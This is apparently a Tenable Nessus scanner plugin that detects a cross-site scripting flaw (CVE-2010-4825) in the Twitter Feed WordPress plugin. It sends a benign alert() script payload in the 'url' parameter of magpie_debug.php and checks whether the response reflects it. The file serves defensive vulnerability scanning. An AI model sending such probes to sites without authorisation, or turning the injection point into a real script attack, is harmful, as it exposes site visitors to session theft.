Twitter Feed for WordPress Plugin 'url' Parameter XSS

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(51096);
  script_version("1.15");
  script_set_attribute(attribute:"plugin_modification_date", value:"2024/06/04");

  script_cve_id("CVE-2010-4825");
  script_bugtraq_id(45294);

  script_name(english:"Twitter Feed for WordPress Plugin 'url' Parameter XSS");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a PHP script that is prone to a cross-
site scripting attack.");
  script_set_attribute(attribute:"description", value:
"The version of the Twitter Feed for WordPress plugin installed on the
remote host does not sanitize input to the 'url' parameter of the
'magpie/scripts/magpie_debug.php' script before using it to generate
dynamic HTML.

An attacker can leverage this issue to inject arbitrary HTML or script
code into a user's browser to be executed within the security context
of the affected site.");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 1.0 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:U/RC:ND");

  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");
  script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);

  script_set_attribute(attribute:"vuln_publication_date", value:"2010/12/07");
  script_set_attribute(attribute:"patch_publication_date", value:"2010/02/07");
  script_set_attribute(attribute:"plugin_publication_date", value:"2010/12/09");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:wordpress:wordpress");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:pleer:wp-twitter-feed");
  script_set_attribute(attribute:"enable_cgi_scanning", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses : XSS");

  script_copyright(english:"This script is Copyright (C) 2010-2024 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("wordpress_detect.nasl");
  script_require_keys("installed_sw/WordPress", "www/PHP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("webapp_func.inc");

app = "WordPress";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);
dir = install['path'];
install_url = build_url(port:port, qs:dir);

plugin = "Twitter Feed";

# Check KB first
installed = get_kb_item("www/"+port+"/webapp_ext/"+plugin+" under "+dir);

if (!installed)
{
  checks = make_array();
  path = "/wp-content/plugins/";
  checks[path + "wp-twitter-feed/readme.txt"][0] =
    make_list('Twitter Feed', 'pleer');

  # Ensure plugin is installed
  installed = check_webapp_ext(
    checks : checks,
    dir    : dir,
    port   : port,
    ext     : plugin
  );
}
if (!installed)
  audit(AUDIT_WEB_APP_EXT_NOT_INST, app, install_url, plugin + " plugin");

# Try to exploit the issue.
alert = '<script>alert(\'' + SCRIPT_NAME + '\')</script>';

vuln = test_cgi_xss(
  port     : port,
  cgi      : '/wp-content/plugins/wp-twitter-feed/magpie/scripts/magpie_debug.php',
  dirs     : make_list(dir),
  qs       : 'url='+urlencode(str:alert),
  pass_str : 'ailed to fetch ' + alert + ' (',
  pass2_re : 'MagpieRSS \\[debug\\]'
);
if (!vuln)
  audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, app, install_url, plugin + " plugin");